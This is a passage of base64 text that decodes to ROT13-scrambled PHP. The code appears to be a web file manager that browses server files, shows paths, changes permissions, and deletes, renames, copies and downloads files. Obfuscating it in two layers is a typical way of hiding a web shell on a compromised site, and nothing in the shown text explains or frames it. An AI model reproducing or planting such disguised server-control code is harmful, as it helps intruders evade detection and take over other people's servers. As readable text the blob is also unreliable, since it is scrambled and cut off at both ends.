CAgICAgICAkaXZyal9ndmd5ciA9ICdWem50cic7CiAgICB9IHJ5ZnJ2cyAodmFfbmVlbmwoJHJrZywgc3pfdHJnX25ocXZiX3JrZ2YoKSkpIHsKICAgICAgICAkdmZfbmhxdmIgPSBnZWhyOwogICAgICAgICRpdnJqX2d2Z3lyID0gJ05ocXZiJzsKICAgIH0gcnlmcnZzICh2YV9uZWVubCgkcmtnLCBzel90cmdfaXZxcmJfcmtnZigpKSkgewogICAgICAgICR2Zl9pdnFyYiA9IGdlaHI7CiAgICAgICAgJGl2cmpfZ3ZneXIgPSAnSXZxcmInOwogICAgfSByeWZydnMgKHZhX25lZW5sKCRya2csIHN6X3RyZ19ncmtnX3JrZ2YoKSkgfHwgZmhvZmdlKCR6dnpyX2dsY3IsIDAsIDQpID09ICdncmtnJyB8fCB2YV9uZWVubCgkenZ6cl9nbGNyLCBzel90cmdfZ3JrZ196dnpyZigpKSkgewogICAgICAgICR2Zl9ncmtnID0gZ2VocjsKICAgICAgICAkcGJhZ3JhZyA9IHN2eXJfdHJnX3BiYWdyYWdmKCRzdnlyX2NuZ3UpOwogICAgfQoKICAgID8+CiAgICA8cXZpIHB5bmZmPSJjbmd1Ij4KICAgICAgICA8YyBweW5mZj0ib2VybngtamJlcSI+PG8+PD9jdWMgcnB1YiAkaXZyal9ndmd5ciA/PiAiPD9jdWMgcnB1YiBzel9yYXAoc3pfcGJhaXJlZ19qdmEoJHN2eXIpKSA/PiI8L28+PC9jPgogICAgICAgIDxjIHB5bmZmPSJvZXJueC1qYmVxIj4KICAgICAgICAgICAgU2h5eSBjbmd1OiA8P2N1YyBycHViIHN6X3JhcChzel9wYmFpcmVnX2p2YSgkc3Z5cl9jbmd1KSkgPz48b2U+CiAgICAgICAgICAgIFN2eXIgZnZtcjogPD9jdWMgcnB1YiBzel90cmdfc3Z5cmZ2bXIoJHN2eXJmdm1yKSA/Pjw/Y3VjIHZzICgkc3Z5cmZ2bXIgPj0gMTAwMCk6ID8+ICg8P2N1YyBycHViIGZjZXZhZ3MoJyVmIG9sZ3JmJywgJHN2eXJmdm1yKSA/Pik8P2N1YyByYXF2czsgPz48b2U+CiAgICAgICAgICAgIFpWWlItZ2xjcjogPD9jdWMgcnB1YiAkenZ6cl9nbGNyID8+PG9lPgogICAgICAgICAgICA8P2N1YwogICAgICAgICAgICAvLyBNVkMgdmFzYgogICAgICAgICAgICB2cyAoJHZmX212YyAmJiAkc3Z5cmFuenJmICE9PSBzbnlmcikgewogICAgICAgICAgICAgICAgJGdiZ255X3N2eXJmID0gMDsKICAgICAgICAgICAgICAgICRnYmdueV9wYnpjID0gMDsKICAgICAgICAgICAgICAgICRnYmdueV9oYXBiemMgPSAwOwogICAgICAgICAgICAgICAgc2Jlcm5wdSAoJHN2eXJhbnpyZiBuZiAkc2EpIHsKICAgICAgICAgICAgICAgICAgICB2cyAoISRzYVsnc2J5cXJlJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGdiZ255X3N2eXJmKys7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRnYmdueV9wYnpjICs9ICRzYVsncGJ6Y2VyZmZycV9mdm1yJ107CiAgICAgICAgICAgICAgICAgICAgJGdiZ255X2hhcGJ6YyArPSAkc2FbJ3N2eXJmdm1yJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgU3Z5cmYgdmEgbmVwdXZpcjogPD9jdWMgcnB1YiAkZ2Jnbnlfc3Z5cmYgPz48b2U+CiAgICAgICAgICAgICAgICBHYmdueSBmdm1yOiA8P2N1YyBycHViIHN6X3RyZ19zdnlyZnZtcigkZ2JnbnlfaGFwYnpjKSA/PjxvZT4KICAgICAgICAgICAgICAgIEZ2bXIgdmEgbmVwdXZpcjogPD9jdWMgcnB1YiBzel90cmdfc3Z5cmZ2bXIoJGdiZ255X3BiemMpID8+PG9lPgogICAgICAgICAgICAgICAgUGJ6Y2VyZmZ2YmE6IDw/Y3VjIHJwdWIgZWJoYXEoKCRnYmdueV9wYnpjIC8gJGdiZ255X2hhcGJ6YykgKiAxMDApID8+JTxvZT4KICAgICAgICAgICAgICAgIDw/Y3VjCiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy8gVnpudHIgdmFzYgogICAgICAgICAgICB2cyAoJHZmX3Z6bnRyKSB7CiAgICAgICAgICAgICAgICAkdnpudHJfZnZtciA9IHRyZ3Z6bnRyZnZtcigkc3Z5cl9jbmd1KTsKICAgICAgICAgICAgICAgIHJwdWIgJ1Z6bnRyIGZ2bXJmOiAnIC4gKHZmZnJnKCR2em50cl9mdm1yWzBdKSA/ICR2em50cl9mdm1yWzBdIDogJzAnKSAuICcgayAnIC4gKHZmZnJnKCR2em50cl9mdm1yWzFdKSA/ICR2em50cl9mdm1yWzFdIDogJzAnKSAuICc8b2U+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyBHcmtnIHZhc2IKICAgICAgICAgICAgdnMgKCR2Zl9ncmtnKSB7CiAgICAgICAgICAgICAgICAkdmZfaGdzOCA9IHN6X3ZmX2hnczgoJHBiYWdyYWcpOwogICAgICAgICAgICAgICAgdnMgKHNoYXBndmJhX3JrdmZnZigndnBiYWknKSkgewogICAgICAgICAgICAgICAgICAgIHZzICghJHZmX2hnczgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHBiYWdyYWcgPSB2cGJhaShTWl9WUEJBSV9WQUNIR19SQVAsICdIR1MtOC8vVlRBQkVSJywgJHBiYWdyYWcpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJwdWIgJ1B1bmVmcmc6ICcgLiAoJHZmX2hnczggPyAnaGdzLTgnIDogJzggb3ZnJykgLiAnPG9lPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L2M+CiAgICAgICAgPGM+CiAgICAgICAgICAgIDxvPjxuIHVlcnM9Ij9jPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKFNaX0NOR1UpID8+Jm56YztxeT08P2N1YyBycHViIGhleXJhcGJxcigkc3Z5cikgPz4iPjx2IHB5bmZmPSJ2cGJhLXFiamF5Ym5xIj48L3Y+IFFiamF5Ym5xPC9uPjwvbz4gJmFvZmM7CiAgICAgICAgICAgIDxvPjxuIHVlcnM9Ijw/Y3VjIHJwdWIgc3pfcmFwKCRzdnlyX2hleSkgPz4iIGduZXRyZz0iX295bmF4Ij48diBweW5mZj0idnBiYS1wdW52YSI+PC92PiBCY3JhPC9uPjwvbz4gJmFvZmM7CiAgICAgICAgICAgIDw/Y3VjCiAgICAgICAgICAgIC8vIE1WQyBucGd2YmFmCiAgICAgICAgICAgIHZzICgkdmZfbXZjICYmICRzdnlyYW56cmYgIT09IHNueWZyKSB7CiAgICAgICAgICAgICAgICAkbXZjX2FuenIgPSBjbmd1dmFzYigkc3Z5cl9jbmd1LCBDTkdVVkFTQl9TVllSQU5aUik7CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPG8+PG4gdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4mbnpjO2hhbXZjPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKCRzdnlyKSA/PiI+PHYgcHluZmY9InZwYmEtbmNjeWwiPjwvdj4gSGFjbnB4PC9uPjwvbz4gJmFvZmM7CiAgICAgICAgICAgICAgICA8bz48biB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiZuemM7aGFtdmM9PD9jdWMgcnB1YiBoZXlyYXBicXIoJHN2eXIpID8+Jm56YztnYnNieXFyZT0xIiBndmd5cj0iSGFjbnB4IGdiIDw/Y3VjIHJwdWIgc3pfcmFwKCRtdmNfYW56cikgPz4iPjx2IHB5bmZmPSJ2cGJhLW5jY3lsIj48L3Y+CiAgICAgICAgICAgICAgICAgICAgSGFjbnB4IGdiIHNieXFyZTwvbj48L28+ICZhb2ZjOwogICAgICAgICAgICAgICAgPD9jdWMKICAgICAgICAgICAgfQogICAgICAgICAgICA/PgogICAgICAgICAgICA8bz48biB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiI+PHYgcHluZmY9InZwYmEtdGJvbnB4Ij48L3Y+IE9ucHg8L24+PC9vPgogICAgICAgIDwvYz4KICAgICAgICA8P2N1YwogICAgICAgIHZzICgkdmZfbXZjKSB7CiAgICAgICAgICAgIC8vIE1WQyBwYmFncmFnCiAgICAgICAgICAgIHZzICgkc3Z5cmFuenJmICE9PSBzbnlmcikgewogICAgICAgICAgICAgICAgcnB1YiAnPHBicXIgcHluZmY9Inpua3VydnR1ZyI+JzsKICAgICAgICAgICAgICAgIHNiZXJucHUgKCRzdnlyYW56cmYgbmYgJHNhKSB7CiAgICAgICAgICAgICAgICAgICAgdnMgKCRzYVsnc2J5cXJlJ10pIHsKICAgICAgICAgICAgICAgICAgICAgICAgcnB1YiAnPG8+JyAuIHN6X3JhcCgkc2FbJ2FuenInXSkgLiAnPC9vPjxvZT4nOwogICAgICAgICAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJwdWIgJHNhWydhbnpyJ10gLiAnICgnIC4gc3pfdHJnX3N2eXJmdm1yKCRzYVsnc3Z5cmZ2bXInXSkgLiAnKTxvZT4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJwdWIgJzwvcGJxcj4nOwogICAgICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICAgICAgcnB1YiAnPGM+UmVlYmUganV2eXIgc3JncHV2YXQgbmVwdXZpciB2YXNiPC9jPic7CiAgICAgICAgICAgIH0KICAgICAgICB9IHJ5ZnJ2cyAoJHZmX3Z6bnRyKSB7CiAgICAgICAgICAgIC8vIFZ6bnRyIHBiYWdyYWcKICAgICAgICAgICAgdnMgKHZhX25lZW5sKCRya2csIG5lZW5sKCd0dnMnLCAnd2N0JywgJ3djcnQnLCAnY2F0JywgJ296YycsICd2cGInKSkpIHsKICAgICAgICAgICAgICAgIHJwdWIgJzxjPjx2enQgZmVwPSInIC4gc3pfcmFwKCRzdnlyX2hleSkgLiAnIiBueWc9IiIgcHluZmY9ImNlcml2cmotdnp0Ij48L2M+JzsKICAgICAgICAgICAgfQogICAgICAgIH0gcnlmcnZzICgkdmZfbmhxdmIpIHsKICAgICAgICAgICAgLy8gTmhxdmIgcGJhZ3JhZwogICAgICAgICAgICBycHViICc8Yz48bmhxdmIgZmVwPSInIC4gc3pfcmFwKCRzdnlyX2hleSkgLiAnIiBwYmFnZWJ5ZiBjZXJ5Ym5xPSJ6cmducW5nbiI+PC9uaHF2Yj48L2M+JzsKICAgICAgICB9IHJ5ZnJ2cyAoJHZmX2l2cXJiKSB7CiAgICAgICAgICAgIC8vIEl2cXJiIHBiYWdyYWcKICAgICAgICAgICAgcnB1YiAnPHF2aSBweW5mZj0iY2VyaXZyai1pdnFyYiI+PGl2cXJiIGZlcD0iJyAuIHN6X3JhcCgkc3Z5cl9oZXkpIC4gJyIganZxZ3U9IjY0MCIgdXJ2dHVnPSIzNjAiIHBiYWdlYnlmIGNlcnlibnE9InpyZ25xbmduIj48L2l2cXJiPjwvcXZpPic7CiAgICAgICAgfSByeWZydnMgKCR2Zl9ncmtnKSB7CiAgICAgICAgICAgIHZzIChTWl9IRlJfVVZUVVlWVFVHV0YpIHsKICAgICAgICAgICAgICAgIC8vIHV2dHV5dnR1ZwogICAgICAgICAgICAgICAgJHV5d2ZfcHluZmZyZiA9IG5lZW5sKAogICAgICAgICAgICAgICAgICAgICdmdWd6eScgPT4gJ2t6eScsCiAgICAgICAgICAgICAgICAgICAgJ3VnbnBwcmZmJyA9PiAnbmNucHVyJywKICAgICAgICAgICAgICAgICAgICAnY3VnenknID0+ICdjdWMnLAogICAgICAgICAgICAgICAgICAgICd5YnB4JyA9PiAnd2ZiYScsCiAgICAgICAgICAgICAgICAgICAgJ2ZpdCcgPT4gJ2t6eScsCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHV5d2ZfcHluZmYgPSB2ZmZyZygkdXl3Zl9weW5mZnJmWyRya2ddKSA/ICd5bmF0LScgLiAkdXl3Zl9weW5mZnJmWyRya2ddIDogJ3luYXQtJyAuICRya2c7CiAgICAgICAgICAgICAgICB2cyAocnpjZ2woJHJrZykgfHwgdmFfbmVlbmwoZmdlZ2J5YmpyZSgkc3Z5ciksIHN6X3RyZ19ncmtnX2FuenJmKCkpIHx8IGNlcnRfem5ncHUoJyNcLnp2YVwuKHBmZnx3ZikkI3YnLCAkc3Z5cikpIHsKICAgICAgICAgICAgICAgICAgICAkdXl3Zl9weW5mZiA9ICdhYnV2dHV5dnR1Zyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcGJhZ3JhZyA9ICc8Y2VyIHB5bmZmPSJqdmd1LXV5d2YiPjxwYnFyIHB5bmZmPSInIC4gJHV5d2ZfcHluZmYgLiAnIj4nIC4gc3pfcmFwKCRwYmFncmFnKSAuICc8L3BicXI+PC9jZXI+JzsKICAgICAgICAgICAgfSByeWZydnMgKHZhX25lZW5sKCRya2csIG5lZW5sKCdjdWMnLCAnY3VjNCcsICdjdWM1JywgJ2N1Z3p5JywgJ2N1Y2YnKSkpIHsKICAgICAgICAgICAgICAgIC8vIGN1YyB1dnR1eXZ0dWcKICAgICAgICAgICAgICAgICRwYmFncmFnID0gdXZ0dXl2dHVnX2ZnZXZhdCgkcGJhZ3JhZywgZ2Vocik7CiAgICAgICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICAgICAkcGJhZ3JhZyA9ICc8Y2VyPicgLiBzel9yYXAoJHBiYWdyYWcpIC4gJzwvY2VyPic7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcnB1YiAkcGJhZ3JhZzsKICAgICAgICB9CiAgICAgICAgPz4KICAgIDwvcXZpPgogICAgPD9jdWMKICAgIHN6X2Z1Ympfc2JiZ3JlKCk7CiAgICBya3ZnOwp9CgovLyBwdXpicSAoYWJnIHNiZSBKdmFxYmpmKQp2cyAodmZmcmcoJF9UUkdbJ3B1emJxJ10pICYmICFTWl9WRl9KVkEpIHsKICAgICRzdnlyID0gJF9UUkdbJ3B1emJxJ107CiAgICAkc3Z5ciA9IHN6X3B5cm5hX2NuZ3UoJHN2eXIpOwogICAgJHN2eXIgPSBmZ2VfZXJjeW5wcignLycsICcnLCAkc3Z5cik7CiAgICB2cyAoJHN2eXIgPT0gJycgfHwgKCF2Zl9zdnlyKCRjbmd1IC4gJy8nIC4gJHN2eXIpICYmICF2Zl9xdmUoJGNuZ3UgLiAnLycgLiAkc3Z5cikpKSB7CiAgICAgICAgc3pfZnJnX3pmdCgnU3Z5ciBhYmcgc2JoYXEnLCAncmVlYmUnKTsKICAgICAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKICAgIH0KCiAgICBzel9mdWJqX3VybnFyZSgpOyAvLyBVUk5RUkUKICAgIHN6X2Z1YmpfYW5pX2NuZ3UoU1pfQ05HVSk7IC8vIHBoZWVyYWcgY25ndQoKICAgICRzdnlyX2hleSA9IFNaX0VCQkdfSEVZIC4gKFNaX0NOR1UgIT0gJycgPyAnLycgLiBTWl9DTkdVIDogJycpIC4gJy8nIC4gJHN2eXI7CiAgICAkc3Z5cl9jbmd1ID0gJGNuZ3UgLiAnLycgLiAkc3Z5cjsKCiAgICAkemJxciA9IHN2eXJjcmV6ZigkY25ndSAuICcvJyAuICRzdnlyKTsKCiAgICA/PgogICAgPHF2aSBweW5mZj0iY25ndSI+CiAgICAgICAgPGM+PG8+UHVuYXRyIENyZXp2ZmZ2YmFmPC9vPjwvYz4KICAgICAgICA8Yz4KICAgICAgICAgICAgU2h5eSBjbmd1OiA8P2N1YyBycHViIHN6X3JhcCgkc3Z5cl9jbmd1KSA/PjxvZT4KICAgICAgICA8L2M+CiAgICAgICAgPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyI+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImMiIGlueWhyPSI8P2N1YyBycHViIHN6X3JhcChTWl9DTkdVKSA/PiI+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9InB1emJxIiBpbnlocj0iPD9jdWMgcnB1YiBzel9yYXAoJHN2eXIpID8+Ij4KCiAgICAgICAgICAgIDxnbm95ciBweW5mZj0icGJ6Y25wZy1nbm95ciI+CiAgICAgICAgICAgICAgICA8Z2U+CiAgICAgICAgICAgICAgICAgICAgPGdxPjwvZ3E+CiAgICAgICAgICAgICAgICAgICAgPGdxPjxvPkJqYXJlPC9vPjwvZ3E+CiAgICAgICAgICAgICAgICAgICAgPGdxPjxvPlRlYmhjPC9vPjwvZ3E+CiAgICAgICAgICAgICAgICAgICAgPGdxPjxvPkJndXJlPC9vPjwvZ3E+CiAgICAgICAgICAgICAgICA8L2dlPgogICAgICAgICAgICAgICAgPGdlPgogICAgICAgICAgICAgICAgICAgIDxncSBmZ2x5cj0iZ3JrZy1ueXZ0YTogZXZ0dWciPjxvPkVybnE8L28+PC9ncT4KICAgICAgICAgICAgICAgICAgICA8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iaGUiIGlueWhyPSIxIjw/Y3VjIHJwdWIgKCR6YnFyICYgMDA0MDApID8gJyBwdXJweHJxJyA6ICcnID8+PjwveW5vcnk+PC9ncT4KICAgICAgICAgICAgICAgICAgICA8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0idGUiIGlueWhyPSIxIjw/Y3VjIHJwdWIgKCR6YnFyICYgMDAwNDApID8gJyBwdXJweHJxJyA6ICcnID8+PjwveW5vcnk+PC9ncT4KICAgICAgICAgICAgICAgICAgICA8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iYmUiIGlueWhyPSIxIjw/Y3VjIHJwdWIgKCR6YnFyICYgMDAwMDQpID8gJyBwdXJweHJxJyA6ICcnID8+PjwveW5vcnk+PC9ncT4KICAgICAgICAgICAgICAgIDwvZ2U+CiAgICAgICAgICAgICAgICA8Z2U+CiAgICAgICAgICAgICAgICAgICAgPGdxIGZnbHlyPSJncmtnLW55dnRhOiBldnR1ZyI+PG8+SmV2Z3I8L28+PC9ncT4KICAgICAgICAgICAgICAgICAgICA8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iaGoiIGlueWhyPSIxIjw/Y3VjIHJwdWIgKCR6YnFyICYgMDAyMDApID8gJyBwdXJweHJxJyA6ICcnID8+PjwveW5vcnk+PC9ncT4KICAgICAgICAgICAgICAgICAgICA8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0idGoiIGlueWhyPSIxIjw/Y3VjIHJwdWIgKCR6YnFyICYgMDAwMjApID8gJyBwdXJweHJxJyA6ICcnID8+PjwveW5vcnk+PC9ncT4KICAgICAgICAgICAgICAgICAgICA8Z3E+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iYmoiIGlueWhyPSIxIjw/Y3VjIHJwdWIgKCR6YnFyICYgMDAwMDIpID8gJyBwdXJweHJxJyA6ICcnID8+PjwveW5vcnk+PC9ncT4KICAgICAgICAgICAgICAgIDwvZ2U+CiAgICAgICAgICAgICAgICA8Z2U+CiAgICAgICAgICAgICAgICAgICAgPGdxIGZnbHlyPSJncmtnLW55dnRhOiBldnR1ZyI+PG8+UmtycGhncjwvbz48L2dxPgogICAgICAgICAgICAgICAgICAgIDxncT48eW5vcnk+PHZhY2hnIGdsY3I9InB1cnB4b2JrIiBhbnpyPSJoayIgaW55aHI9IjEiPD9jdWMgcnB1YiAoJHpicXIgJiAwMDEwMCkgPyAnIHB1cnB4cnEnIDogJycgPz4+PC95bm9yeT48L2dxPgogICAgICAgICAgICAgICAgICAgIDxncT48eW5vcnk+PHZhY2hnIGdsY3I9InB1cnB4b2JrIiBhbnpyPSJ0ayIgaW55aHI9IjEiPD9jdWMgcnB1YiAoJHpicXIgJiAwMDAxMCkgPyAnIHB1cnB4cnEnIDogJycgPz4+PC95bm9yeT48L2dxPgogICAgICAgICAgICAgICAgICAgIDxncT48eW5vcnk+PHZhY2hnIGdsY3I9InB1cnB4b2JrIiBhbnpyPSJiayIgaW55aHI9IjEiPD9jdWMgcnB1YiAoJHpicXIgJiAwMDAwMSkgPyAnIHB1cnB4cnEnIDogJycgPz4+PC95bm9yeT48L2dxPgogICAgICAgICAgICAgICAgPC9nZT4KICAgICAgICAgICAgPC9nbm95cj4KCiAgICAgICAgICAgIDxjPgogICAgICAgICAgICAgICAgPG9oZ2diYSBweW5mZj0ib2dhIj48diBweW5mZj0idnBiYS1uY2N5bCI+PC92PiBQdW5hdHI8L29oZ2diYT4gJmFvZmM7CiAgICAgICAgICAgICAgICA8bz48biB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiI+PHYgcHluZmY9InZwYmEtcG5hcHJ5Ij48L3Y+IFBuYXByeTwvbj48L28+CiAgICAgICAgICAgIDwvYz4KCiAgICAgICAgPC9zYmV6PgoKICAgIDwvcXZpPgogICAgPD9jdWMKICAgIHN6X2Z1Ympfc2JiZ3JlKCk7CiAgICBya3ZnOwp9CgovLy0tLSBTVllSWk5BTlRSRSBaTlZBCnN6X2Z1YmpfdXJucXJlKCk7IC8vIFVSTlFSRQpzel9mdWJqX2FuaV9jbmd1KFNaX0NOR1UpOyAvLyBwaGVlcmFnIGNuZ3UKCi8vIHpyZmZudHJmCnN6X2Z1YmpfenJmZm50cigpOwoKJGFoel9zdnlyZiA9IHBiaGFnKCRzdnlyZik7CiRhaHpfc2J5cXJlZiA9IHBiaGFnKCRzYnlxcmVmKTsKJG55eV9zdnlyZl9mdm1yID0gMDsKPz4KPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyI+Cjx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImMiIGlueWhyPSI8P2N1YyBycHViIHN6X3JhcChTWl9DTkdVKSA/PiI+Cjx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9InRlYmhjIiBpbnlocj0iMSI+Cjxnbm95cj48Z2U+CjxndSBmZ2x5cj0ianZxZ3U6MyUiPjx5bm9yeT48dmFjaGcgZ2xjcj0icHVycHhvYmsiIGd2Z3lyPSJWYWlyZWcgZnJ5cnBndmJhIiBiYXB5dnB4PSJwdXJweG9ia19nYnR0eXIoKSI+PC95bm9yeT48L2d1Pgo8Z3U+QW56cjwvZ3U+PGd1IGZnbHlyPSJqdnFndToxMCUiPkZ2bXI8L2d1Pgo8Z3UgZmdseXI9Imp2cWd1OjEyJSI+WmJxdnN2cnE8L2d1Pgo8P2N1YyB2cyAoIVNaX1ZGX0pWQSk6ID8+PGd1IGZnbHlyPSJqdnFndTo2JSI+Q3JlemY8L2d1PjxndSBmZ2x5cj0ianZxZ3U6MTAlIj5CamFyZTwvZ3U+PD9jdWMgcmFxdnM7ID8+CjxndSBmZ2x5cj0ianZxZ3U6MTMlIj48L2d1PjwvZ2U+Cjw/Y3VjCi8vIHl2YXggZ2IgY25lcmFnIHNieXFyZQp2cyAoJGNuZXJhZyAhPT0gc255ZnIpIHsKICAgID8+CjxnZT48Z3E+PC9ncT48Z3EgcGJ5ZmNuYT0iPD9jdWMgcnB1YiAhU1pfVkZfSlZBID8gJzYnIDogJzQnID8+Ij48biB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcigkY25lcmFnKSA/PiI+PHYgcHluZmY9InZwYmEtbmVlYmpfaGMiPjwvdj4gLi48L24+PC9ncT48L2dlPgo8P2N1Ywp9CnNiZXJucHUgKCRzYnlxcmVmIG5mICRzKSB7CiAgICAkdmZfeXZheCA9IHZmX3l2YXgoJGNuZ3UgLiAnLycgLiAkcyk7CiAgICAkdnp0ID0gJHZmX3l2YXggPyAndnBiYS15dmF4X3NieXFyZScgOiAndnBiYS1zYnlxcmUnOwogICAgJHpicXZzID0gcW5ncihTWl9RTkdSR1ZaUl9TQkVaTkcsIHN2eXJ6Z3Z6cigkY25ndSAuICcvJyAuICRzKSk7CiAgICAkY3JlemYgPSBmaG9mZ2UocXJwYnBnKHN2eXJjcmV6ZigkY25ndSAuICcvJyAuICRzKSksIC00KTsKICAgIHZzIChzaGFwZ3ZiYV9ya3ZmZ2YoJ2NiZnZrX3RyZ2NqaHZxJykgJiYgc2hhcGd2YmFfcmt2ZmdmKCdjYmZ2a190cmd0ZXR2cScpKSB7CiAgICAgICAgJGJqYXJlID0gY2JmdmtfdHJnY2podnEoc3Z5cmJqYXJlKCRjbmd1IC4gJy8nIC4gJHMpKTsKICAgICAgICAkdGViaGMgPSBjYmZ2a190cmd0ZXR2cShzdnlydGViaGMoJGNuZ3UgLiAnLycgLiAkcykpOwogICAgfSByeWZyIHsKICAgICAgICAkYmphcmUgPSBuZWVubCgnYW56cicgPT4gJz8nKTsKICAgICAgICAkdGViaGMgPSBuZWVubCgnYW56cicgPT4gJz8nKTsKICAgIH0KICAgID8+CjxnZT4KPGdxPjx5bm9yeT48dmFjaGcgZ2xjcj0icHVycHhvYmsiIGFuenI9InN2eXJbXSIgaW55aHI9Ijw/Y3VjIHJwdWIgc3pfcmFwKCRzKSA/PiI+PC95bm9yeT48L2dxPgo8Z3E+PHF2aSBweW5mZj0ic3Z5cmFuenIiPjxuIHVlcnM9Ij9jPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKGdldnooU1pfQ05HVSAuICcvJyAuICRzLCAnLycpKSA/PiI+PHYgcHluZmY9Ijw/Y3VjIHJwdWIgJHZ6dCA/PiI+PC92PiA8P2N1YyBycHViIHN6X3JhcChzel9wYmFpcmVnX2p2YSgkcykpID8+PC9uPjw/Y3VjIHJwdWIgKCR2Zl95dmF4ID8gJyAmZW5lZTsgPHY+JyAuIHN6X3JhcChlcm5xeXZheCgkY25ndSAuICcvJyAuICRzKSkgLiAnPC92PicgOiAnJykgPz48L3F2aT48L2dxPgo8Z3E+U2J5cXJlPC9ncT48Z3E+PD9jdWMgcnB1YiAkemJxdnMgPz48L2dxPgo8P2N1YyB2cyAoIVNaX1ZGX0pWQSk6ID8+CjxncT48biBndmd5cj0iUHVuYXRyIENyZXp2ZmZ2YmFmIiB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiZuemM7cHV6YnE9PD9jdWMgcnB1YiBoZXlyYXBicXIoJHMpID8+Ij48P2N1YyBycHViICRjcmV6ZiA/Pjwvbj48L2dxPgo8Z3E+PD9jdWMgcnB1YiBzel9yYXAoJGJqYXJlWydhbnpyJ10gLiAnOicgLiAkdGViaGNbJ2FuenInXSkgPz48L2dxPgo8P2N1YyByYXF2czsgPz4KPGdxPgo8biBndmd5cj0iUXJ5cmdyIiB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiZuemM7cXJ5PTw/Y3VjIHJwdWIgaGV5cmFwYnFyKCRzKSA/PiIgYmFweXZweD0iZXJnaGVhIHBiYXN2ZXooJ1FyeXJnciBzYnlxcmU/Jyk7Ij48diBweW5mZj0idnBiYS1wZWJmZiI+PC92Pjwvbj4KPG4gZ3ZneXI9IkVyYW56ciIgdWVycz0iIyIgYmFweXZweD0iZXJhbnpyKCc8P2N1YyBycHViIHN6X3JhcChTWl9DTkdVKSA/PicsICc8P2N1YyBycHViIHN6X3JhcCgkcykgPz4nKTtlcmdoZWEgc255ZnI7Ij48diBweW5mZj0idnBiYS1lcmFuenIiPjwvdj48L24+CjxuIGd2Z3lyPSJQYmNsIGdiLi4uIiB1ZXJzPSI/Yz0mbnpjO3BiY2w9PD9jdWMgcnB1YiBoZXlyYXBicXIoZ2V2eihTWl9DTkdVIC4gJy8nIC4gJHMsICcvJykpID8+Ij48diBweW5mZj0idnBiYS1wYmNsIj48L3Y+PC9uPgo8biBndmd5cj0iUXZlcnBnIHl2YXgiIHVlcnM9Ijw/Y3VjIHJwdWIgc3pfcmFwKFNaX0VCQkdfSEVZIC4gKFNaX0NOR1UgIT0gJycgPyAnLycgLiBTWl9DTkdVIDogJycpIC4gJy8nIC4gJHMgLiAnLycpID8+IiBnbmV0cmc9Il9veW5heCI+PHYgcHluZmY9InZwYmEtcHVudmEiPjwvdj48L24+CjwvZ3E+PC9nZT4KICAgIDw/Y3VjCiAgICBzeWhmdSgpOwp9CgpzYmVybnB1ICgkc3Z5cmYgbmYgJHMpIHsKICAgICR2Zl95dmF4ID0gdmZfeXZheCgkY25ndSAuICcvJyAuICRzKTsKICAgICR2enQgPSAkdmZfeXZheCA/ICd2cGJhLXl2YXhfc3Z5cicgOiBzel90cmdfc3Z5cl92cGJhX3B5bmZmKCRjbmd1IC4gJy8nIC4gJHMpOwogICAgJHpicXZzID0gcW5ncihTWl9RTkdSR1ZaUl9TQkVaTkcsIHN2eXJ6Z3Z6cigkY25ndSAuICcvJyAuICRzKSk7CiAgICAkc3Z5cmZ2bXJfZW5qID0gc3Z5cmZ2bXIoJGNuZ3UgLiAnLycgLiAkcyk7CiAgICAkc3Z5cmZ2bXIgPSBzel90cmdfc3Z5cmZ2bXIoJHN2eXJmdm1yX2Vuaik7CiAgICAkc3Z5cnl2YX